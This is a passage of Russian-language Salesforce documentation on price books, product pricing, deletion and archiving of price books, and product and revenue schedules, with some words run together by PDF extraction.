• Стандартныйпрайс-лист — это основной список всех продуктов и стандартныхценна
них. Salesforce создает стандартный прайс-лист, когда вы начнете создавать записи
продуктов. В этот прайс-лист включаются все продукты и их стандартные цены,
независимо от настраиваемых прайс-листов, которые также могут включать в себя
эти продукты.

• Настраиваемый прайс-лист — это отдельный список продуктов, содержащий
настраиваемые цены, также называемые ценами по прайс-листу. Настраиваемые
прайс-листы позволяют предлагать продукты по разным ценам разным сегментам
рынка, областям и другим подгруппам клиентов. Можно создать отдельный
прайс-лист для каждой группы клиентов. Например, если у вас есть один набор цен
дляклиентов, проживающихвнутристраны, идругой, дляпроживающихза границей,
создайте отдельные прайс-листы для клиентов внутри страны и для клиентов за границей.

Запись прайс-листа — это продукт с указанной ценой в прайс-листе. Для всех прайс-листов указывается валюта цены.

• Записив стандартномпрайс-листе — это стандартныеценыилиценыпоумолчаниюдляпродаваемыхпродуктови услуг.
Когда вы создаете запись продукта, Salesforce создаст запись в стандартном прайс-листе. Запись в стандартном
прайс-листе можно отметить как активную или неактивную в зависимости, к примеру, от планируемого времени
начала продаж.

• Записи настраиваемого прайс-листа — это настраиваемые цены прейскуранта или цены по умолчанию для продаваемых
продуктови услуг. Настраиваемые записипрайс-листамогут создаваться толькодляпродуктов с активнымизаписями
стандартного прайс-листа.

• В Lightning Experience на страницах сведений о продуктах отображаются связанный список «Стандартная цена» и
связанный список «Прайс-листы» как единый связанный список «Прайс-листы».

• Есливынастроитемакетстраницыподробныхсведений «Записьпрайс-листа», тонебудетсуществоватьвзаимодействия
полей для полей записи прайс-листа в пользовательском интерфейсе. Если флажок Использовать стандартную
цену удалениз макета страницы, а этотфлажок установлен для записипрайс-листа, вынеможете редактировать цену
по прейскуранту. Поле Цена по прайс-листу отключено и не может включаться на этой странице.

СМ. ТАКЖЕ:

Цены и прайс-листы

Назначение и изменение цен продуктов
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Назначение и изменение цен продуктов

ВЕРСИИ

Сметы
доступны

Продукты и
прайс-листы

в:доступны в
Salesforce
Classic

следующих
версиях:
Salesforce Classic
и Lightning
Experience

Доступно в
версиях:
Professional
Edition,
Enterprise
Edition,
Performance
Edition,
Unlimited Edition
и Developer
Edition.

Пользователи могут устанавливать и изменять цены на продукты и услуги компании.

Назначение цен продуктам в Lightning Experience

Пользователи могут отслеживать различные типы цены в зависимости от сегмента
рынка и клиентов.

Назначение и изменение цен продуктов в Salesforce Classic

Пользователи могут отслеживать различные типы цены в зависимости от сегмента
рынка и клиентов.

СМ. ТАКЖЕ:

Рекомендации по назначению цен

Добавление и изменение продуктов в возможностях

Использование групп продуктов

Принципы использования прайс-листов

Назначение цен продуктам в Lightning Experience

Пользователимогутотслеживатьразличныетипыценывзависимостиот сегментарынка
и клиентов.

Назначение стандартных цен в стандартном прайс-листе

1. Выберите нужный продукт.

2. Нажмите кнопку «Добавить стандартнуюцену» в связанном списке прайс-листа на странице сведений о продукте.
Если стандартная цена уже указана, нажмите кнопку «Редактировать» в меню «Показать больше», чтобы внести
изменения.

3. Введите новую стандартную цену в поле «Цена по прайс-листу».

4. Чтобы активировать данную цену для продуктов возможностей, смет или других настраиваемых прайс-листов,
установите флажок «Активно».

5. Сохраните внесенные изменения.

Стандартная цена автоматически связывается с продуктом в стандартном прайс-листе.

Назначение цен по прайс-листу в настраиваемом прайс-листе

1. Выберите нужный продукт.

2. Нажмите кнопку «Добавить в прайс-лист» в связанном списке прайс-листа на странице сведений о продукте.

3. Выберите прайс-лист и валюту для новой цены по прайс-листу и нажмите кнопку «Далее».

4. Введите цену по прайс-листу. Либо выберите параметр «Использовать стандартную цену», если хотите, чтобыцена
по прайс-листу была идентична стандартной.

5. Чтобы эта цена была доступна при добавлении продукта в возможности или сметы, установите флажок «Активно».

6. Сохраните внесенные изменения.
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Изменение записей прайс-листа

Нажмите кнопку «Правка» рядом с записью прайс-листа в одном из следующих разделов:

• Связанный список «Продукты» на странице сведений о прайс-листе

• Связанный список «Прайс-листы» на странице сведений о продукте

Назначение и изменение цен продуктов в Salesforce Classic

Пользователи могут отслеживать различные типы цены в зависимости от сегмента рынка и клиентов.

Назначение стандартных цен

1. Выберите нужный продукт.

2. Нажмите кнопку «Добавить» в связанном списке «Стандартная цена» на странице сведений о продукте.

Чтобы изменить добавленную стандартную цену, перейдите по ссылке «Правка». Чтобы изменить все стандартные
цены в других валютах, нажмите кнопку «Редактировать все».

3. Введите стандартную цену.

4. Чтобы активировать данную цену для продуктов возможностей, смет или других настраиваемых прайс-листов,
установите флажок «Активно».

5. Сохраните внесенные изменения.

Стандартная цена автоматически связывается с продуктом в стандартном прайс-листе.

Назначение цен по прайс-листу

1. Выберите нужный продукт.

2. Перейдите по ссылке «Правка» напротив нужного настраиваемого прайс-листа в связанном списке «Прайс-листы»
на странице сведений о продукте.

Чтобыдобавитьпродуктвнастраиваемыйпрайс-лист, нажмитекнопку«Добавитьвпрайс-лист»в связанномсписке
«Прайс-листы».

3. Введите цену по прайс-листу. При совпадении цен установите флажок «Использовать стандартную цену».

4. Чтобы активировать данную цену для продуктов возможностей или смет, установите флажок «Активно».

5. Сохраните внесенные изменения.

Редактирование цены

Нажмите кнопку «Правка» рядом с записью прайс-листа в одном из нижеперечисленных разделов:

• Связанный список «Продукты» на странице сведений о прайс-листе

• Связанный список «Стандартная цена» на странице сведений о продукте

• Связанный список «Прайс-листы» на странице сведений о продукте

• Списковое представление прайс-листов
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Создание настраиваемых прайс-листов

ВЕРСИИ

Сметы
доступны

Продукты и
прайс-листы

только вдоступны в
Salesforce
Classic.

следующих
версиях:
Salesforce Classic
и Lightning
Experience

Доступно в
версиях:
Professional
Edition,
Enterprise
Edition,
Performance
Edition,
Unlimited Edition
и Developer
Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания или
клонированияпрайс-листов:
• «Создание» для

прайс-листов

Для просмотра
прайс-листов:
• «Чтение» для продуктов

И

«Чтение» для
прайс-листов

Создавайтенастраиваемыепрайс-листыдлякаждогосегментарынка, накоторомработают
ваши торговые представители. Затем добавьте продукты в каждыйпрайс-лист с ценами,
которые вы предлагаете на каждом сегменте рынка. Например, если вы продаете товар
навнутреннемивнешнемрынкахпоразнымценам, выможетесоздатьдванастраиваемых
прайс-листа, один — для внутреннего рынка и один — для внешнего.

1. Ознакомьтесь с рекомендациями.

2. На странице «Прайс-листы» нажмите кнопку «Создать».

3. Введите имя прайс-листа.

4. Если в вашей организации Salesforce используются описания, введите описание для
вашего прайс-листа.

5. Чтобыразрешитьторговымпредставителямдобавлениепрайс-листаилиего записей
в возможности и сметы, установите флажок «Активно».

6. Присамостоятельномсозданиинастраиваемогопрайс-листа рекомендуемоставить
его пустым, заполнить записями, скопированными из другого прайс-листа, или
добавить новые записи.

СМ. ТАКЖЕ:

Принципы использования прайс-листов
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Рекомендации по предоставлению общего доступа к прайс-листам

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для предоставления общего
доступа к прайс-листам:
• «Редактирование» для

прайс-листов

Предоставление общего доступа позволяет участникам группы сбыта работать с
прайс-листами в Salesforce Classic.

Администраторы и пользователи с полномочием «Редактирование» для прайс-листов
могутпредоставлятьобщийдоступкпрайс-листамбольшемуколичествупользователей.
Однако нельзя сделать модель общего доступа строже, чем модель по умолчанию.

Для просмотра и управления сведениями об общем доступе нажмите кнопку «Общий
доступ» на странице сведений о прайс-листе. Страница «Сведения об общем доступе»
содержит список пользователей, групп, ролей и территорий, имеющих общий доступ
к прайс-листу. Ниже перечислены действия, доступные на данной странице.

• Чтобы просмотреть отфильтрованный список элементов, выберите нужное
представление в раскрывающемся списке «Просмотр» илищелкните ссылку
«Создать новое представление» для разработки собственных настраиваемых
представлений.

• Чтобы изменить или удалить созданное представление, выберите его в
раскрывающемся списке «Просмотр» и перейдите по ссылке «Правка».

• Чтобыпредоставитьдругимпользователям, группам, ролямилитерриториямдоступ
к записи, нажмите кнопку «Добавить».

• Чтобы изменить или удалить уровень доступа, щелкните ссылку «Правка» или
«Удал.» напротив нужного элемента списка при использовании созданных правил
общего доступа, предоставляемого вручную.

Если участникам группы сбыта требуется доступ к сведениям о ценах на странице продукта, но единым стандартным
параметрам для прайс-листов задано значение «Нет доступа», задайте всем пользователям организации доступ к
стандартным прайс-листам на уровне «Только для просмотра».

1546

Отслеживание продуктов, цен и графиков платежейПродажи клиентам



Рекомендации по удалению прайс-листов

ВЕРСИИ

Сметы
доступны

Продукты и
прайс-листы

только вдоступны в
Salesforce
Classic.

следующих
версиях:
Salesforce Classic
и Lightning
Experience.

Доступно в
версиях:
Professional
Edition,
Enterprise
Edition,
Performance
Edition,
Unlimited Edition
и Developer
Edition.

Чтобы удалить прайс-листы из связанных списков, рекомендуем заархивировать,
деактивировать или удалить прайс-листы. Каждое действие удаления отличается своим
результатом. Преждечемудалитьпрайс-листизсвязанныхсписков, рекомендуемвыбрать
оптимальный способ удаления в соответствии с текущими бизнес-требованиями.

• Удаление, деактивация или архивирование настраиваемого прайс-листа не влияет
на другиепрайс-листыилиспискипродуктов. Однако этидействиямогутотражаться
на ваших коммерческих возможностях и планах продаж. Смена привязки к
коммерческим возможностям или сметам иногда необходима перед тем, как вы
удалите связанный прайс-лист.

• Стандартный прайс-лист может быть только деактивирован.

Рекомендации по удалению прайс-листов

• Прайс-лист, используемыйвозможностямиилисметами, неможетбыть удален. Если
вы попытаетесь это сделать, система создаст список коммерческих возможностей
или смет, в которых используется прайс-лист.

• Удалениепрайс-листаинициируетудалениевсехего записей. Удаленныйпрайс-лист
и его записи перемещаются в корзину. Восстановить их можно в течение 15 дней.

Рекомендации по удалению прайс-листов

• Чтобы активировать, деактивировать или повторно активировать прайс-лист,
рекомендуем изменить его свойства.

• Вы можете деактивировать прайс-лист, даже если он используется в коммерческой возможности или смете.

• Деактивация прайс-листа не препятствует управлению его записями.

Рекомендации по удалению прайс-листов

• Вы можете архивировать прайс-лист, даже если он используется в коммерческой возможности или смете.

• Архивный прайс-лист отображается во всех связанных записях, но является недоступным.

• Записи архивных прайс-листов не отображаются в результатах поиска.

• Вы не сможете восстановить или удалить архивированный прайс-лист.

СМ. ТАКЖЕ:

Принципы использования прайс-листов

Понятие продукта
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Рекомендации по удалению продукта из прайс-листа

ВЕРСИИ

Сметы
доступны

Продукты и
прайс-листы

только вдоступны в
Salesforce
Classic.

следующих
версиях:
Salesforce Classic
и Lightning
Experience

Доступно в
версиях:
Professional
Edition,
Enterprise
Edition,
Performance
Edition,
Unlimited Edition
и Developer
Edition.

Прежде чем удалить продукт из прайс-листа, рассмотрите следующие рекомендации.

• При удалении продукта из прайс-листа удаляются и все связанные с ним записи
прайс-листа.

• Восстановлениепродуктаизкорзиныинициируетвосстановлениелюбыхсвязанных
записей прайс-листа.

• Продукт, связанный с возможностями, сметами, сервисными контрактами или
элементами строки контракта, не может быть удален.

• Продукт, используемыйввозможностиилисмете, неможетбытьудален. Припопытке
удалитьегосистемаSalesforceотображаетсписоквозможностейисмет. Таквысможете
удалитьпродуктиз этихвозможностейисметиповторитьпопытку. Чтобысохранить
продукт в возможностях и сметах, рекомендуем деактивировать или заархивировать
продукт. См. «Рекомендации по удалению продуктов и прайс-листов».

Рекомендации по удалению продуктов и прайс-листов

ВЕРСИИ

Сметы,
заказы и

Продукты и
прайс-листы

расписаниядоступны в
доступныследующих
вверсиях:
Salesforce
Classic.

Salesforce
Classic и
Lightning
Experience

Доступно в
версиях:
Professional
Edition,
Enterprise
Edition,
Performance
Edition,
Unlimited
Edition и
Developer
Edition.

Ниже перечислены основные моменты, которые следует учитывать при удалении
продукта или прайс-листа.

• Удаление продукта или прайс-листа инициирует удаление всех связанных записей
прайс-листа. Темнеменее, удалениепродукта, доступноговнесколькихпрайс-листах,
из одного прайс-листа не влияет на другие прайс-листы. Аналогично, удаление
прайс-листа не инициирует удаление его продуктов из другого прайс-листа.

• Чтобы удалить продукт полностью, удалите его из стандартного прайс-листа.

• Продукт, связанный с возможностями, сметами, сервисными контрактами или
элементами строки контракта, не может быть удален.

• Продукт или прайс-лист, связанный с процессом утверждения или содержащий
отложенное действие бизнес-правила, не может быть удален.

• Если продукт или прайс-лист используется в возможности, смете или заказе, то
пользователю доступны указанные ниже действия.

– Чтобыдеактивироватьэлемент, откройтестраницуизменениясведенийиснимите
флажок «Активно». Рекомендуем деактивировать продукт или прайс-лист,
используемый в возможности или смете. Данный продукт или прайс-лист будет
недоступен пользователям, но может быть активирован повторно. Деактивация
не влияет на журнал элемента строки возможности.
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– Удалите связанный продукт или прайс-лист из всех возможностей и смет. При попытке удаления продукта или
прайс-листа, используемого в возможности или смете, система Salesforce отображает список соответствующих
возможностей или смет.

• Приудалениипрайс-листа рекомендуемоткрыть каждуювозможностьили сметуи удалить соответствующий
прайс-лист.

• При удалении продукта рекомендуем удалить его из всех связанных возможностей и смет.

Затем можно удалить прайс-лист или продукт.

– Заархивируйте продукт или прайс-лист со всеми связанными записями прайс-листа. Рекомендуем использовать
этот параметр с осторожностью. Архивные продукты и прайс-листы не могут быть восстановлены, так как они не
перемещаются в корзину. Архивные продукты и прайс-листы продолжают отображаться во всех возможностях
и сметах, где содержались до архивирования.

Архивный прайс-лист отображается во всех связанных записях, но является недоступным.

Расписания продуктов

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Пользователи Salesforce Classic могут создавать расписания продуктов, с помощью которых
определяются сроки оплаты или доставки продуктов в определенный период времени.
Пользователи Lightning Experience также могут временно пользоваться этой функцией
при переключении в Salesforce Classic.

Понятие расписания продукта
Администраторы и менеджеры отдела продаж могут создавать стандартные
расписания для продуктов и расписания для отдельных элементов строки
возможности. Перед началом работы рекомендуем ознакомиться с базовыми
сведениями.

Рекомендации по использованию расписаний продуктов
Ниже представлены рекомендации и примеры, с которыми следует ознакомиться
при добавлении расписаний продуктов или составлении расписаний для продуктов возможностей.

Добавление и редактирование расписаний продуктов
Расписания используются для определения сроков оплаты и доставки продуктов.

Определение расписаний для продуктов возможностей
Расписания продуктов используются для настройки выплат по объему продаж и реализованному доходу.
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Понятие расписания продукта

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Администраторыименеджерыотделапродажмогут создавать стандартныерасписания
для продуктов и расписания для отдельных элементов строки возможности. Перед
началом работы рекомендуем ознакомиться с базовыми сведениями.

• Расписание объемов продукции определяет срок доставки продукта.

• Расписание доходов определяет срок оплаты продукта.

• Стандартное расписание связано с конкретным продуктом в конкретном прайс-листе.
Стандартные расписания используются при каждом добавлении продукта в
возможность. Стандартные расписания могут быть переопределены для всех
возможностей.

Следует указать, какие типы расписаний будут использоваться в организации Salesforce
и какие типы расписаний можно задать для каждого отдельного продукта.

• Расписание объемов продукции используется при единовременной оплате, но поэтапном получении продукта
(например, годовая подписка на ежемесячный журнал). Расписание объемов продукции содержит даты, количество
единиц, количество выплат, условия доставки и прочие положения, заданные компанией.

• Расписание доходов используется при регулярной оплате, но единовременном получении продукта (например,
продажанастраиваемыхпродуктов, оплачиваемыхпоэтапно, нодоставляемыходинраз). Расписаниедоходовсодержит
даты, суммы доходов, количество выплат, подтверждения дохода и прочие положения.

• Расписаниеобъемовпродукцииидоходовиспользуетсяприполучениизаказапографикудоставкииоплатепродуктов
по графику платежей (например, месячная подписка на продукт, оплачиваемая ежемесячно).

• Рекомендуем использовать стандартные расписания при одинаковом графике оплаты продуктов всеми клиентами
или регулярном графике доставки продуктов. Пользователи, которые, как правило, настраивают расписания, могут
не создавать стандартные расписания.

СМ. ТАКЖЕ:

Расписания продуктов

Рекомендации по использованию расписаний продуктов

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Ниже представлены рекомендации и примеры, с которыми следует ознакомиться при
добавлении расписаний продуктов или составлении расписаний для продуктов
возможностей.

Рекомендации по использованию стандартных расписаний продуктов

• Возможности, содержащие продукт, для которого добавляется или изменяется
расписание, не обновляются. При наличии у продукта стандартных расписаний
объемов продукции и доходов сначала рассчитывается расписание объемов для
определения общего дохода по продукту. Затем для этой суммы применяется
расписание доходов.

• При наличии элемента строки сметы со скидкой поле «Скидка» не может быть
изменено, если соответствующая запись продукта использует стандартное расписание.

• Если продукт использует стандартные расписания, заданные для записи продукта, то расписания создаются
автоматическипридобавлениипродукта в возможность. Датывыплатначинаются с даты, выбраннойпридобавлении
продукта. Если дата продукта не выбрана, то используется поле возможности «Дата закрытия».
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Примеры использования стандартных расписаний продуктов

• Только стандартное расписание доходов. Компания   поставщик интерактивного программного обеспечения
продает годовые контракты по цене 1 200 рублей за одну лицензию. Все лицензии, приобретенные клиентом,
предоставляютсяодновременно, нодоходраспределяетсяпомесяцам. Вданномслучае задается расписание доходов,
содержащее поля «Тип расписания» («Разделить»), «Период выплаты» («Ежемесячно») и «Количество выплат» («12»).

Притакомрасписаниипоумолчаниюполучаетсяследующее: торговыйпредставитель 15 мартаиспользуетвозможность
и продает 200 лицензий по цене 1 200 долларов каждая за год использования. Все 200 лицензий предоставляются
15 марта. Общий годовой доход по данному продукту составляет 240 000 долларов (количество, умноженное на
годовуюстоимость). Расписаниедоходовделитобщийдоходнаежемесячныевыплатыпо 20 000 долларов, выполняемые
15 числа каждого месяца в течение последующего года.

• Только стандартное расписание объемов продукции. Компания-поставщик медицинских принадлежностей
продает языкодержателипоцене 10 рублей за один комплект. Компания заключает годовой контракт с медицинским
учреждением на ежемесячную поставку. В данном случае задается расписание объемов, содержащее поля «Тип
расписания» («Повторить»), «Период выплаты» («Ежемесячно») и «Количество выплат» («12»).

Приведем конкретный пример. 1 января торговый представитель продает 1 000 комплектов. Расписание объемов
продукции создает 12 ежемесячных выплат с общим годовым количеством 12 000 комплектов. Общий доход
рассчитывается исходя из цены за единицу продукции и общего количества, поэтому составляет на 1 января 120 000
рублей.

• Стандартныерасписанияобъемовпродукцииидоходов. Производственная компанияпродает виджетыпоцене
10 долларов за один. Компания заключает годовой контракт на еженедельную поставку виджетов, но оплата
производится ежеквартально. В данном случае задается расписание объемов, содержащее поля «Тип расписания»
(«Повторить»), «Периодвыплаты» («Еженедельно») и «Количествовыплат» («52»). Вданномслучае задаетсярасписание
доходов, содержащее поля «Тип расписания» («Разделить»), «Период выплаты» («Ежеквартально») и «Количество
выплат» («4»).

При таких расписаниях по умолчанию получается следующее. 1 января торговый представитель продает 2 000
виджетов. Сначала применяется расписание по объемам продукции, которое создает еженедельные доставки 2 000
виджетов с общим годовым количеством 104 000 виджетов. Общий доход рассчитывается исходя из цены за единицу
продукции и общего количества. Затем общий доход, составляющий 1 040 000 рублей, делится на ежеквартальные
выплаты размером по 260 000 рублей каждая.

СМ. ТАКЖЕ:

Добавление и редактирование расписаний продуктов
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Добавление и редактирование расписаний продуктов

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для добавления и
редактирования расписаний
продуктов выполните
следующее.
• «Редактирование» для

продуктов

Расписания используются для определения сроков оплаты и доставки продуктов.

1. См. рекомендации и примеры.

2. Выберите нужный тип расписания.

3. Выберите нужный продукт на начальной странице вкладки «Продукты».

4. Нажмите кнопку «Правка».

5. Выберите нужный тип расписания: расписания объемов продукции, расписания
доходов или оба. Выбор ограничивается параметрами расписания, используемыми
ворганизации, и типамирасписания, включеннымиадминистратором Salesforce для
продуктов.

6. Введите сведения о расписании.

7. Сохраните внесенные изменения.

8. Сведения об определении расписания для продуктов возможностей см. в разделе
Определение расписаний для продуктов возможностей.

9. Чтобыредактировать расписаниепродукта, нажмите кнопку «Правка»на странице
сведений о продукте.

СМ. ТАКЖЕ:

Определение расписаний для продуктов возможностей

Назначение и изменение цен продуктов

Определение расписаний для продуктов возможностей

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для добавления и
редактирования расписаний
продуктов выполните
следующее.
• «Редактирование» для

возможностей

Расписания продуктов используются для настройки выплат по объему продаж и
реализованному доходу.

1. См. рекомендации и примеры.

2. Убедитесь, что расписания продуктов уже добавлены.

3. Щелкните имя нужного продукта возможности в связанном списке «Продукты».

4. Чтобысоздатьрасписание, нажмитекнопку«Установить». Чтобыудалитьустаревшее
расписание и добавить новое, нажмите кнопку «Переустановить».

5. Выберите нужный тип расписания: расписания объемов продукции, расписания
доходов или оба. Выбор ограничивается параметрами расписания, используемыми
ворганизации, и типамирасписания, включеннымиадминистратором Salesforce для
продуктов.

6. Введите сведения о расписании.

7. Сохраните внесенные изменения.

Salesforce отобразит выплаты по расписанию.
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8. Для редактирования выплат нажмите кнопку «Правка».

СМ. ТАКЖЕ:

Понятие расписания продукта

Рекомендации по добавлению шаблонов права для продуктов

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition с
консолью Service Cloud.

Нижеприведенырекомендации, которыеследуетпринятьвовниманиеадминистраторам
именеджерам отдела продаж при использовании связанного списка «Шаблоныправа».

Шаблонправа — этопредопределенныеусловияуровняобслуживанияклиента, которые
пользователь может легко добавлять в продукты. Например, создайте шаблоны права
для веб-поддержки или поддержки по телефону, чтобы разрешить пользователям
добавление прав в продукты, предложенные клиентам.

Связанныйсписок «Шаблоныправа» содержитшаблоныправа, доступныедляпродукта.
Доступность и содержимое связанного списка «Шаблоны права» определяются
администраторами.

• Чтобы найти нужныйшаблон права, введите имя или часть имени в текстовом поле
и нажмите кнопку «Начать».

• Чтобы добавить шаблоны прав в продукты, щелкните «Добавитьшаблон права», установите флажок напротив
нужного шаблона, щелкните «Вставить выбранное», затем нажмите кнопку «Готово».

• Доступные действия с шаблоном права перечислены в списке «Действие». Например, чтобы удалить шаблон права
из продукта, щелкните «Удалить».

• Имяшаблона права отображается в списке «Шаблоны права». Чтобы просмотреть сведения о шаблоне, щелкните
имя нужного шаблона.

• Пользователь, создавшийшаблон права, указывается в поле «Создано».
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Рекомендации по созданию и обслуживанию прайс-листов

ВЕРСИИ

Сметы и
заказы

Продукты и
прайс-листы

доступныдоступны в
вследующих
Salesforce
Classic.

версиях:
Salesforce Classic
и Lightning
Experience.

Доступно в
версиях:
Professional
Edition,
Enterprise
Edition,
Performance
Edition,
Unlimited Edition
и Developer
Edition.

Перед тем как создать прайс-лист, рассмотрите несколько ключевых моментов.

• Чтобы создать настраиваемый прайс-лист путем клонирования существующего
прайс-листа, щелкнитеКлонировать на странице подробностей прайс-листа.

• Продукты могут быть удалены из настраиваемых прайс-листов без изменения
исходногоспискапродуктовилизаписейпродуктоввдругихпрайс-листах. Удаление
продукта из стандартного прайс-листа не влияет на доступность и активность
продукта, но инициирует удаление стандартной цены продукта, а также удаление
самого продукта из всех настраиваемых прайс-листов. Если продукт удалить из
стандартного прайс-листа, все еще связан с любым настраиваемым прайс-листом,
нажмите кнопку «ОК» для удаления продукта из всех настраиваемых прайс-листов.

• Продукты, элементыстрокисметыилипродуктызаказамогутбытьдобавленытолько
из одного прайс-листа.

• Чтобы включить продукт в коммерческую возможность, смету или заказ, выберите
прайс-лист, содержащийнужныйпродукт. Последнийпрайс-лист, использованный
для возможности или сметы, выбирается по умолчанию. Чтобы выбрать другой
прайс-лист, нажмитекнопку «Выбратьпрайс-лист» в связанномсписке «Продукты»
для коммерческой возможности или в связанном списке сметы «Элементы строки
сметы». Кнопка «Выбрать прайс-лист» отображается при наличии доступа к
нескольким прайс-листам При наличии доступа к нескольким прайс-листам и
отсутствиикнопкиобратитеськ администраторуспросьбойдобавитьданнуюкнопку
в макет страницы.

• Изменение прайс-листа для возможности с продуктами приводит к удалению всех
продуктов из связанного списка «Продукты». Однако значение поля возможности «Стоимость» сохраняется.

СМ. ТАКЖЕ:

Создание настраиваемых прайс-листов
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Рекомендации по назначению цен

ВЕРСИИ

Сметы
доступны

Продукты и
прайс-листы

в:доступны в
Salesforce
Classic

следующих
версиях:
Salesforce Classic
и Lightning
Experience

Доступно в
версиях:
Professional
Edition,
Enterprise
Edition,
Performance
Edition,
Unlimited Edition
и Developer
Edition.

Нижеперечисленымоменты, которыеследуетучитыватьадминистраторамименеджерам
отдела продаж при назначении цен на продукты в Salesforce.

• Ниже перечислены доступные типы цен.

– Стандартная цена — это цена по умолчанию, связываемая с продуктом и
автоматически добавляемая в стандартный прайс-лист.

– Цена по прайс-листу — это настраиваемая цена, связываемая с продуктом в
настраиваемомпрайс-листе. Например, внутренние заказымогутобрабатываться
по одним ценам, а международные заказы — по другим.

– Реализационные цены  — это фактические цены, указываемые торговыми
представителямидляпродуктов, которыедобавляются в возможностиилисметы.
Реализационные цены могут быть идентичны ценам, указанным в прайс-листе
для возможности или сметы, либо включать скидки и различные изменения.

• Прежде чем добавить новый продукт в возможность, смету или настраиваемый
прайс-лист, добавьте стандартнуюцену впродуктипометьте еефлажком «Активно».
Данная цена за продукт используется по умолчанию.

• Цена продукта по прайс-листу может быть назначена при наличии настраиваемых
прайс-листов. Ценапопрайс-листу становится доступнапридобавлениипродуктов
в возможности или сметы из настраиваемого прайс-листа.

• Чтобы назначить цену в размере $100,00, введите в поле «100» или «100,00» с
символом «$» или без него.

• Форматполяценыможетбытьрасширендовосьмизнаковпоследесятичнойзапятой.
Чтобы изменить количество знаков после запятой, обратитесь в компанию Salesforce.

Рекомендации по использованию пользовательского интерфейса Salesforce Classic

• Стандартные цены или цены по прайс-листу могут быть добавлены только с помощью многострочных страниц
добавления (страницы «Добавить стандартную цену» и «Добавить цену по прайс-листу»). Данные страницы не
поддерживают настраиваемые поля. Чтобы добавить стандартные цены или цены по прайс-листу и заполнить
настраиваемые поля, добавьте запись прайс-листа с помощью многострочной страницы добавления, откройте
страницу «Редактирование записи прайс-листа» для добавленной записи и обновите настраиваемые поля.

Прим.: Данныерекомендациинеприменяютсяк записямпрайс-листа, созданнымилиизмененнымспомощью
приложения Data Loader или API-интерфейса.

• Запись прайс-листа, содержащая обязательные настраиваемые поля, не может быть создана с помощью
пользовательскогоинтерфейса. Данныезаписипрайс-листамогутбытьсозданытолькоспомощьюприложения Data
Loader или API-интерфейса.

• Стандартные цены или цены по прайс-листу могут быть изменены в следующих разделах:

– многострочные страницы редактирования (страницы «Изменить стандартную цену» и «Изменить цену по
прайс-листу»);

– страница «Изменение записи прайс-листа».
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Составление ожидаемых продаж по возможностям

Возможности

ВЕРСИИ

Доступно в: Salesforce
Classic и Lightning
Experience

Доступно в версиях: все
версии для организаций,
активированных до выпуска
Summer'09.

Доступно в версиях: Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition для
организаций,
активированных после
выпуска Summer'09.

Возможности Salesforceпозволяютотслеживатьпотенциальныесделкииуправлятьими.

Просмотрите основные сведения о сделках, включая текущие организации, участников
и стоимости потенциальных продаж. По мере приближения сделок к этапу
«Предложение»:

• Добавьте продукты и прикрепите файлы (например, контракты или таблицы).

• Зарегистрируйте выполняемые вызовы.

• Воспользуйтесь примечаниями для записи основных положений во время рабочих
встреч.

• Создайте задачидляосновныхдействийикалендарныесобытиядляделовыхвстреч.

• Отправьте сообщение эл. почты контакту возможности или другим специалистам
по ключевым решениям.

Воспользуйтесь Chatter для обмена стратегиями продаж с коллегами или обращения за
адресной помощью к менеджеру прямо во время переговоров. При достижении
следующегоэтапа сделкиобновите записьвозможностис текущимэтапом. Сделкибудут
закрываться моментально!

СМ. ТАКЖЕ:

Работа с коммерческими возможностями

Принцип использования коммерческих возможностей

Поля возможностей

Работа с коммерческими возможностями

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: Все
выпуски для организаций,
активированные до лета
2009 г.

Доступно в версиях:
Выпуски Group,
Professional, Enterprise,
Performance, Unlimited,
and Developer для
организаций,
активированные до лета
2009 г.

Используйте коммерческие возможности для отслеживания и управления ходом работ,
это поможет ускорить совершение сделок. Переводите сделки на следующие этапы,
добавляйте продукты и т. д.

Продвижение возможности к следующему этапу
Обновляйте данные сделки по мере ее продвижения к завершению. Точная
информация на каждом этапе важна для задач прогнозирования, отчетности и,
безусловно, для выполнения плана продаж.

Добавление и изменение продуктов в возможностях
Добавлениепродуктовв возможностипозволяетотслеживать ассортиментиобъемы
продаваемой продукции. Чтобы записи о продаваемых продуктах и доходах
гарантированно содержали точную информацию, следует регулярно обновлять
количество и цены продуктов в возможностях.
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Планирование напоминаний для обновления возможностей
Чтобы обеспечить актуальность коммерческих возможностей для вашей группы специалистов, следует создать
автоматизированноесообщениеэлектроннойпочтысотчетомоботкрытыхкоммерческихвозможностяхиразослать
его в прямые отчеты вашей организации.

СМ. ТАКЖЕ:

Возможности

Продвижение возможности к следующему этапу

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: Все
выпуски для организаций,
активированные до лета
2009 г.

Доступно в версиях:
Выпуски Group,
Professional, Enterprise,
Performance, Unlimited,
and Developer для
организаций,
активированные до лета
2009 г.

Обновляйтеданныесделкипомерееепродвиженияк завершению. Точнаяинформация
на каждом этапе важна для задач прогнозирования, отчетности и, безусловно, для
выполнения плана продаж.

